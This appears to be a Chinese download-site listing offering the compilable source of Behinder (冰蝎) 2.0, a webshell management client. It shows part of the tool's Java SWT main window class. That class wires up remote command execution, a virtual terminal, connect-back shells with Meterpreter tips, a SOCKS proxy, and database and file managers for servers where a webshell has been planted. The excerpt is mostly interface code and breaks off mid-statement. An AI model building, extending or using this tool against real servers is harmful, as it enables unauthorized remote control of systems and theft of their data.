冰蝎2.0源码编译可运行
立即下载
资源介绍:
自用
package net.rebeyond.behinder.ui;
import java.io.ByteArrayInputStream;
import java.util.HashMap;
import java.util.Map;
import net.rebeyond.behinder.core.ShellService;
import net.rebeyond.behinder.utils.Constants;
import net.rebeyond.behinder.utils.ProxyUtils;
import net.rebeyond.behinder.utils.Utils;
import org.eclipse.swt.browser.Browser;
import org.eclipse.swt.custom.StackLayout;
import org.eclipse.swt.custom.StyledText;
import org.eclipse.swt.custom.VerifyKeyListener;
import org.eclipse.swt.events.FocusAdapter;
import org.eclipse.swt.events.FocusEvent;
import org.eclipse.swt.events.KeyAdapter;
import org.eclipse.swt.events.KeyEvent;
import org.eclipse.swt.events.ModifyEvent;
import org.eclipse.swt.events.ModifyListener;
import org.eclipse.swt.events.MouseAdapter;
import org.eclipse.swt.events.MouseEvent;
import org.eclipse.swt.events.SelectionAdapter;
import org.eclipse.swt.events.SelectionEvent;
import org.eclipse.swt.events.VerifyEvent;
import org.eclipse.swt.graphics.Image;
import org.eclipse.swt.layout.FillLayout;
import org.eclipse.swt.layout.GridData;
import org.eclipse.swt.layout.GridLayout;
import org.eclipse.swt.widgets.Button;
import org.eclipse.swt.widgets.Combo;
import org.eclipse.swt.widgets.Composite;
import org.eclipse.swt.widgets.Display;
import org.eclipse.swt.widgets.Group;
import org.eclipse.swt.widgets.Label;
import org.eclipse.swt.widgets.Shell;
import org.eclipse.swt.widgets.TabFolder;
import org.eclipse.swt.widgets.TabItem;
import org.eclipse.swt.widgets.Table;
import org.eclipse.swt.widgets.TableColumn;
import org.eclipse.swt.widgets.Text;
import org.eclipse.swt.widgets.Tree;
import org.eclipse.swt.widgets.TreeItem;
import org.json.JSONObject;
import swing2swt.layout.BorderLayout;
public class MainShell extends Shell {
public JSONObject currentShell;
public ShellService currentShellService;
private ProxyUtils proxyUtils;
public Map basicInfoMap = new HashMap();
private Text urlTxt;
private Text cmdview;
private Table fileTable;
private Text IPTxt;
private Text msfTipsTxt;
private Text connStrTxt;
private Table dataTable;
private Text sqlTxt;
private Label connectStatus;
private Tree dirTree;
public Label statusLabel;
private Tree dataTree;
private Button btnShell;
private Button btnMeter;
private Text portTxt;
private Button connectBackBtn;
private Text bindAddressTxt;
private Text bindPortTxt;
private StyledText proxyLogTxt;
private StyledText sourceCodeTxt;
private StyledText evalResultTxt;
private Text memoTxt;
private StyledText realCmdView;
private Text imagePathTxt;
private Text fileContentTxt;
private Composite composite_7;
private Composite composite_8;
private Text filePathTxt;
private Combo charsetCombo;
private Combo dataTypeComb;
public DBManagerUtils DBManagerUtils;
public FileManagerUtils FileManagerUtils;
public CmdUtils CmdUtils;
public EvalUtils EvalUtils;
public ConnectBackUtils ConnectBackUtils;
private TabItem updateInfoTab;
private Browser updateInfoBrowser;
private Combo currentPathCombo;
private TabItem reverseTab;
private TabItem socksProxyTab;
private TabItem realCmdTab;
public static void main(String[] args) {
}
public MainShell(Display display, final JSONObject shellEntity) {
super(display, 1264);
this.setLayout(new BorderLayout(0, 0));
Group grpStatus = new Group(this, 0);
grpStatus.setText("状态");
grpStatus.setLayoutData("South");
grpStatus.setLayout(new GridLayout(4, false));
this.statusLabel = new Label(grpStatus, 0);
this.statusLabel.setLayoutData(new GridData(4, 16777216, true, false, 1, 1));
Label versionLabel = new Label(grpStatus, 0);
versionLabel.setText(String.format("冰蝎 %s", Constants.VERSION));
versionLabel.setLayoutData(new GridData(131072, 16777216, false, false, 1, 1));
Label label_1 = new Label(grpStatus, 2);
GridData layoutData = new GridData();
layoutData.heightHint = 20;
label_1.setLayoutData(layoutData);
Label authorLabel = new Label(grpStatus, 0);
authorLabel.setText("By rebeyond");
TabFolder tabFolder = new TabFolder(this, 0);
tabFolder.setLayoutData("Center");
TabItem basicTab = new TabItem(tabFolder, 0);
basicTab.setText("基本信息");
final Browser baseInfoView = new Browser(tabFolder, 0);
baseInfoView.setJavascriptEnabled(false);
basicTab.setControl(baseInfoView);
TabItem cmdTab = new TabItem(tabFolder, 0);
cmdTab.setText("命令执行");
this.cmdview = new Text(tabFolder, 2626);
this.cmdview.addFocusListener(new FocusAdapter() {
public void focusGained(FocusEvent arg0) {
MainShell.this.CmdUtils.currentPos = MainShell.this.cmdview.getCharCount();
}
});
this.cmdview.addKeyListener(new KeyAdapter() {
public void keyPressed(KeyEvent e) {
try {
MainShell.this.CmdUtils.sendCommand(e, MainShell.this.cmdview);
} catch (Exception var3) {
var3.printStackTrace();
MainShell.this.statusLabel.setText("发生异常:" + var3.getMessage());
}
}
});
this.cmdview.setForeground(Display.getDefault().getSystemColor(5));
this.cmdview.setBackground(Display.getDefault().getSystemColor(21));
cmdTab.setControl(this.cmdview);
this.realCmdTab = new TabItem(tabFolder, 0);
this.realCmdTab.setText("虚拟终端");
Composite composite_6 = new Composite(tabFolder, 0);
this.realCmdTab.setControl(composite_6);
composite_6.setLayout(new GridLayout(3, false));
Label imagePathLabel = new Label(composite_6, 0);
imagePathLabel.setLayoutData(new GridData(131072, 16777216, false, false, 1, 1));
imagePathLabel.setText("可执行文件路径:");
this.imagePathTxt = new Text(composite_6, 2048);
this.imagePathTxt.setLayoutData(new GridData(4, 16777216, true, false, 1, 1));
final Button realCmdBtn = new Button(composite_6, 0);
try {
Image startImage = new Image(display, new ByteArrayInputStream(Utils.getResourceData("net/rebeyond/behinder/resource/start.png")));
realCmdBtn.setData("start", startImage);
Image stopImage = new Image(display, new ByteArrayInputStream(Utils.getResourceData("net/rebeyond/behinder/resource/stop.png")));
realCmdBtn.setData("stop", stopImage);
realCmdBtn.setImage(startImage);
} catch (Exception var68) {
var68.printStackTrace();
}
realCmdBtn.addSelectionListener(new SelectionAdapter() {
public void widgetSelected(SelectionEvent e) {
try {
if (realCmdBtn.getText().equals("启动")) {
MainShell.this.CmdUtils.createRealCMD(MainShell.this.realCmdView, MainShell.this.imagePathTxt.getText().trim());
realCmdBtn.setText("停止");
realCmdBtn.setImage((Image)realCmdBtn.getData("stop"));
} else if (realCmdBtn.getText().equals("停止")) {
MainShell.this.CmdUtils.stopRealCMD(MainShell.this.realCmdView, MainShell.this.imagePathTxt.getText().trim());
realCmdBtn.setText("启动");
realCmdBtn.setImage((Image)realCmdBtn.getData("start"));
}
} catch (Exception var3) {
var3.printStackTrace();
}
}
});
realCmdBtn.setText("启动");
this.realCmdView = new CustomStyledText(composite_6, 2818, Constants.MENU_COPY | Constants.MENU_PASTE | Constants.MENU_SELECT_ALL);
this.realCmdView.addFocusListener(new FocusAdapter() {
public void focusGained(FocusEvent arg0) {
MainShell.this.CmdUtils.currentPos = MainShell.this.realCmdView.getCharCount();
}
});
this.realCmdView.setBackground(Display.getD
资源文件列表:
BehinderV2.zip 大约有139个文件